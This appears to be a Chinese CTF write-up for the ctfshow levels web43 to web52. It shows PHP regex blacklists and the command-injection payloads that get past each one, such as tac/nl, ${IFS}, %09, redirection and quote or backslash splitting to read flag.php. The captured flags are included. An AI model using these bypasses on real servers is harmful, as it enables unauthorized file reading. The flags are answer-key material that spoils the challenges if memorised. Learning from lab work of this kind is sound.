目录
1、web43
2、web44
3、web45
4、web46
5、web47
6、web48
7、web49
8、web50
9、web51
10、web52
1、web43
在上一题 ‘黑洞’ 的基础上新增过滤:
preg_match("/\;|cat/i", $c)
问题不大,我们不用分号和 cat 就行:
?c=ls||
payload:
?c=tac flag.php||
拿到 flag:ctfshow{1327bbac-5c2b-44bc-ae8b-35790b8af546}
当然还有很多其他的文件查看命令都可以用,比如:more、less、nl 等
2、web44
preg_match("/;|cat|flag/i", $c)
新增过滤 flag,构造 payload:
?c=tac f*||
拿到 flag:ctfshow{61221e00-a6ab-44be-9f0f-01034265132b}
3、web45
新增过滤空格,使用 %09 代替
preg_match("/\;|cat|flag| /i", $c)
构造 payload:
?c=tac%09f*||
拿到 flag:ctfshow{2e3d1abb-d4b6-41db-8078-5f557658403d}
使用 ${IFS} 代替也是可以的,payload:
?c=tac${IFS}f*||
说明:IFS 是 linux 的特殊变量,默认值是 space 空格,$ 是取变量值,$IFS 就代表空格。
使用 $IFS$9 也可以,构造 payload:
?c=tac$IFS$9f*||
4、web46
preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)
新增过滤数字、$、*,不使用这些即可,通配符使用问号?,空格使用 %09 代替。
构造 payload:
?c=tac%09fla?.php||
拿到 flag:ctfshow{545047aa-54aa-48ed-9a41-104cebfae6be}
这里特别说明下,为什么 %09 没有被正则匹配检测到?09 不是数字吗?
注意:我们传入的 c=%09 是 URL 编码,在 URL 编码中,%09 表示 ASCII 编码中的水平制表符(Tab 键),而不是数字 '0' 和 '9'。当服务器接收到请求时,它会对 URL 编码的参数进行解码,因此 c=%09 解析后会变成 c=\t,其中 \t 是水平制表符。
也就是说我们的正则匹配在 URL 解码之后才进行,所以不会被检测到。
此外还有很多其他的方法:
当我们换成 < 时发现问号进行通配不行,< 通常用于将一个命令的输出作为另一个命令的输入。
使用反斜杠转义绕过或者使用引号对绕过,payload:
将文件 flag.php 的内容作为 tac 命令的输入,并反向显示文件内容。
?c=tac<fla\g.php||
或者
?c=tac<fla''g.php||
或者
?c=tac<fla""g.php||
使用 <> 代替空格也是可以的,payload:
?c=tac<>fla\g.php||
5、web47
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)
新增过滤一些命令:more|less|head|sort|tail
用 tac 或者 nl 即可,直接拿上一题的 payload打:
?c=tac<fla\g.php||
拿到 flag:ctfshow{f0f59065-df11-4cec-b502-fc9a7e2c48c8}
6、web48
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)
还是继续在新增过滤的命令和反引号`,依旧用上一题的 payload 就可以:
?c=tac<fla\g.php||
拿到 flag:ctfshow{27fb4c37-7767-412f-9389-0d90b5a9a361}
关于上面那些命令的介绍:
more:用于逐页显示文本文件内容。按空格键显示下一页,按 Enter 键显示下一行。
less:类似于 more,但提供了更多的功能,如向前翻页、向后翻页等。它更灵活且对大文件支持更好。
head:显示文件的开头部分,默认情况下显示文件的前 10 行。可以使用 -n 选项指定显示的行数。
sort:对文本文件进行排序,默认按字典顺序排序。可以使用不同的选项指定按照数字、日期等方式排序。
tail:显示文件的末尾部分,默认情况下显示文件的最后 10 行。可以使用 -n 选项指定显示的行数。
sed:流编辑器,用于对文本进行流式处理。可以进行文本替换、删除、插入等操作。
cut:用于从文本文件中剪切列。可以根据指定的分隔符将每行文本分割成多个字段,并选择特定的字段输出。
awk:功能强大的文本处理工具,可以对文本文件进行逐行处理,支持自定义处理逻辑、条件语句等。
strings:从二进制文件中提取可打印的字符串。常用于查看可执行文件或库文件中的文本信息。
od:以不同的格式显示文件的内容。可以将文件内容以八进制、十六进制等形式显示。
curl:用于在命令行中传输数据,支持多种协议,如 HTTP、HTTPS、FTP 等。常用于下载文件或与 Web 服务进行交互。
7、web49
新增过滤百分号 %,不用 %09,还是用上一题的 payload:
?c=tac<fla\g.php||
拿到 flag:ctfshow{288fc102-97b2-4eec-b76e-2bfdd30f318f}
8、web50
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)
新增过滤水平制表符(tab 键)和 &,其中 \x 是一个转义序列,表示后面跟着的两位十六进制数代表一个字符。
还是可以继续用上一题的 payload:
?c=tac<fla\g.php||
拿到 flag:ctfshow{61d94bfa-55cc-4e6f-b99d-b300934322c8}
9、web51
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)
新增过滤 tac 命令,使用 nl 绕过,构造 payload:
?c=nl<fla\g.php||
拿到 flag:ctfshow{076f8f1c-e0ad-41e5-b2e6-50fe0a655fa8}
10、web52
preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)
新增过滤大于、小于符号,但是美元符放出来了,构造 payload:
?c=nl${IFS}fla\g.php||
得到 $flag="flag_here";
flag 不在当前目录,看一下根目录:
?c=ls${IFS}/||
读取 flag:
?c=nl${IFS}/fl\ag||
拿到 flag:ctfshow{f043c560-aaea-4e22-9072-e6a5eb08d059}